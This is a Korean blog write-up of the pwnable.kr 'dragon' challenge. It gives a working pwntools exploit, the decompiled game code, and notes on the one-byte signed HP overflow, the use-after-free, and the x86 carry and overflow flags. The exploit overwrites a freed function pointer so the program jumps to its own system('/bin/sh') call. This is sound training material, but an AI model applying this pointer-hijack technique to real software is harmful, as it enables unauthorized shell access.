security/포너블 - pwnable.kr

pwnable.kr - [Rookiss] dragon

민사민서 2023. 3. 3. 20:37
from pwn import *

# p = process("./dragon")
p = remote("pwnable.kr", 9004)

def ssc(): # Priest: HolyShield - HolyShield - Clarity
    # Priest's HP -= 10 , Dragon's HP += 12
    p.sendlineafter("Invincible.\n", "3")
    p.sendlineafter("Invincible.\n", "3")
    p.sendlineafter("Invincible.\n", "2")

# don't attack baby dragon
p.sendlineafter("[ 2 ] Knight\n", "1")
p.sendlineafter("Invincible.\n", "1")
p.sendlineafter("Invincible.\n", "1")
# attack mama dragon
p.sendlineafter("[ 2 ] Knight\n", "1")
for i in range(4):
    ssc()
# Attack success!
p.sendlineafter("The World Will Remember You As:\n", p32(0x08048dbf))
p.interactive()

 

int PlayGame()
{
  int result; // eax

  while ( 1 )
  {
    while ( 1 )
    {
      puts("Choose Your Hero\n[ 1 ] Priest\n[ 2 ] Knight");
      result = GetChoice();
      if ( result != 1 && result != 2 )
        break;
      FightDragon(result);
    }
    if ( result != 3 )
      break;
    SecretLevel();
  }
  return result;
}
int GetChoice()
{
  int v1[3]; // [esp+1Ch] [ebp-Ch] BYREF

  __isoc99_scanf("%d", v1);
  while ( getchar() != 10 )
    ;
  return v1[0];
}
int __cdecl FightDragon(int a1)
{
  char v1; // al
  int result; // eax
  int v3; // [esp+10h] [ebp-18h]
  _DWORD *v4; // [esp+14h] [ebp-14h]
  int v5; // [esp+18h] [ebp-10h]
  int v6; // [esp+1Ch] [ebp-Ch]

  v4 = (_DWORD *)malloc(16);
  v5 = malloc(16);
  v1 = Count++; // 전역변수 Count
  if ( (v1 & 1) != 0 ) // v5에 드래곤 정보 셋팅, 홀수번째 try=mama, 짝수번째 try=baby
  {
    *(_DWORD *)(v5 + 4) = 1;
    *(_BYTE *)(v5 + 8) = 80;
    *(_BYTE *)(v5 + 9) = 4;
    *(_DWORD *)(v5 + 12) = 10;
    *(_DWORD *)v5 = PrintMonsterInfo;
    puts("Mama Dragon Has Appeared!");
  }
  else
  {
    *(_DWORD *)(v5 + 4) = 0;
    *(_BYTE *)(v5 + 8) = 50;
    *(_BYTE *)(v5 + 9) = 5;
    *(_DWORD *)(v5 + 12) = 30;
    *(_DWORD *)v5 = PrintMonsterInfo;
    puts("Baby Dragon Has Appeared!");
  }
  result = a1;
  if ( a1 == 1 ) // v4에 사용자 정보 셋팅
  {
    *v4 = 1;
    v4[1] = 42;
    v4[2] = 50;
    v4[3] = PrintPlayerInfo;
    v3 = PriestAttack(v4, v5);
  }
  else
  {
    if ( a1 != 2 )
      return result;
    *v4 = 2;
    v4[1] = 50;
    v4[2] = 0;
    v4[3] = PrintPlayerInfo;
    v3 = KnightAttack(v4, v5);
  }
  if ( v3 )
  {
    puts("Well Done Hero! You Killed The Dragon!");
    puts("The World Will Remember You As:");
    v6 = malloc(16);
    __isoc99_scanf("%16s", v6);
    puts("And The Dragon You Have Defeated Was Called:");
    (*(void (__cdecl **)(int))v5)(v5);
  }
  else
  {
    puts("\nYou Have Been Defeated!");
  }
  return free(v4);
}
unsigned int SecretLevel()
{
  char v1[10]; // [esp+12h] [ebp-16h] BYREF
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Welcome to Secret Level!\nInput Password : ");
  __isoc99_scanf("%10s", v1);
  if ( !strcmp(v1, "Nice_Try_But_The_Dragons_Won't_Let_You!") )
  {
    system("/bin/sh");
    return __readgsdword(0x14u) ^ v2;
  }
  else
  {
    puts("Wrong!\n");
    return exit(-1);
  }
}


- Partial RELRO   Canary found   NX enabled    No PIE
- SecretLevel의 strcmp를 통과할 방법은 없음
- PriestAttack/KnightAttack 정석적인 방법으로 성공할 수 없음 

<취약점>
- PriestAttack(v4, v5)과 KnightAttack(v4, v5) 함수 마지막에 free(a2)를 통해 인자로 전달받은 v5를 free한다
- attack에 성공하면 0x10 크기의 chunk를 v6에 새로 할당하고, 이 때 free된 chunk가 다시 할당된다
- v6 chunk의 첫 4바이트에 호출하고자 하는 코드 주소를 넣는다
- (*(void (__cdecl **)(int))v5)(v5); 여기서 UAF 취약점 발생

<exploit>
- SecretLevel에서 system("/bin/sh") 호출하는 부분 주소 구하기 = 0x08048dbf <SecretLevel+71>
- v5에서 용에 대한 정보 넣을 때, HP에 해당하는 부분 1byte만 할당되어있다 => (-128~127)
- HP=80인 Mama dragon에서 12턴만 버티면 HP>127이 되면서 Integer overflow에 의해 -128로 변한다.
- Priest 방어*2 - MP 회복 - Priest 방어*2 - MP 회복 - Priest 방어*2 - MP 회복 - Priest방어*2 - MP 회복
  => 12턴이 지나면서 dragon HP<0이 되고, MP 회복 시마다 공격(-10)을 받으므로 priest HP=2가 된다

 

1. dragon HP 계산을 할 때, signed 자료형인지 unsigned 자료형인지 어떻게 파악?

1) 디컴파일 된 코드로 파악 (IDA 최고)

PriestAttack() 마지막, dragon HP check

친절하게 (char *)로 타입을 지정해주었고, char 타입의 데이터가 표현할 수 있는 값의 범위는 -128~127이다.

 

2) 어셈블리 코드로 파악

PriestAttack() 마지막, test 명령어를 통해 dragon HP check

eax에 dragon HP가 담겨있고 test al, al에 의해 마지막 한 바이트만 check한다

test 명령어는 bitwise logical AND operation 처럼 동작하고 ZF, SF, PF를 바꾼다

ZF(Zero Flag) : AND 연산 결과가 0이면 1로 세팅

SF(Sign Flag) : AND 연산 결과의 MSB(Most Significant Bit)로 세팅

CF(Carry Flag), OF(Overflow Flag) : 영향 없음

 

jg 명령어에 의해 1) ZF=0이고 2) SF=OF면 다시 while문을 돈다. 

1) al이 0이 아니고

2) OF=0일 것이므로 SF가 0이 아니면

JMP한다

=> 즉 al=0이 되거나, al의 MSB가 1이 되면(음수가 되면) jmp 안 하고 free후 return 1한다

 

분기 명령어가 signed operands를 위한 것인지 unsigned operands를 위한 것인지를 파악해 구분 가능!!

 

3. Carry Flag vs. Overflow Flag

- When Carry Flag is on?

1) 두 수의 합으로 발생한 carry가 부호 비트(MSB)보다 앞에 더해질 때

1111 + 0001 = 0000

2) 두 수의 차로 발생한 borrow로 인해 부호 비트(MSB) 앞 비트로부터의 borrow가 발생해야 할 때

0000 - 0001 = 1111

 

다른 경우, CF는 off된다

0111 + 0001 = 1000 (CF=0)

10000 - 0001 = 0111 (CF=0)

 

unsigned 연산에서 CF로 에러를 확인 가능하다. signed 연산에서 CF는 관심대상이 아니다

 

- When Overflow Flag is on?

1) 두 수의 합으로 부호 비트가 on 되었을 때

0100 + 0100 = 1000

2) 두 수의 합으로 부호 비트가 off 되었을 때

1000 + 1000 = 0000

 

다른 경우 OF는 off된다

0110 + 1001 = 1111

1000 + 0001 = 1001

1100 + 1100 = 1000

 

세 숫자들의 부호 비트(MSB)를 보면 overflow flag가 on 될지 off 될지 알 수 있다

signed 연산에서 OF로 에러를 확인 가능하다. unsigned 연산에서 OF는 관심 대상이 아니다

'security > 포너블 - pwnable.kr' 카테고리의 다른 글

pwnable.kr - [Rookiss] otp  (0) 2023.03.05
pwnable.kr - [Rookiss] alloca  (0) 2023.03.03
pwnable.kr - [Rookiss] simple login  (0) 2023.02.27
pwnable.kr - [Rookiss] loveletter  (0) 2023.02.26
pwnable.kr - [Rookiss] echo2  (0) 2023.02.25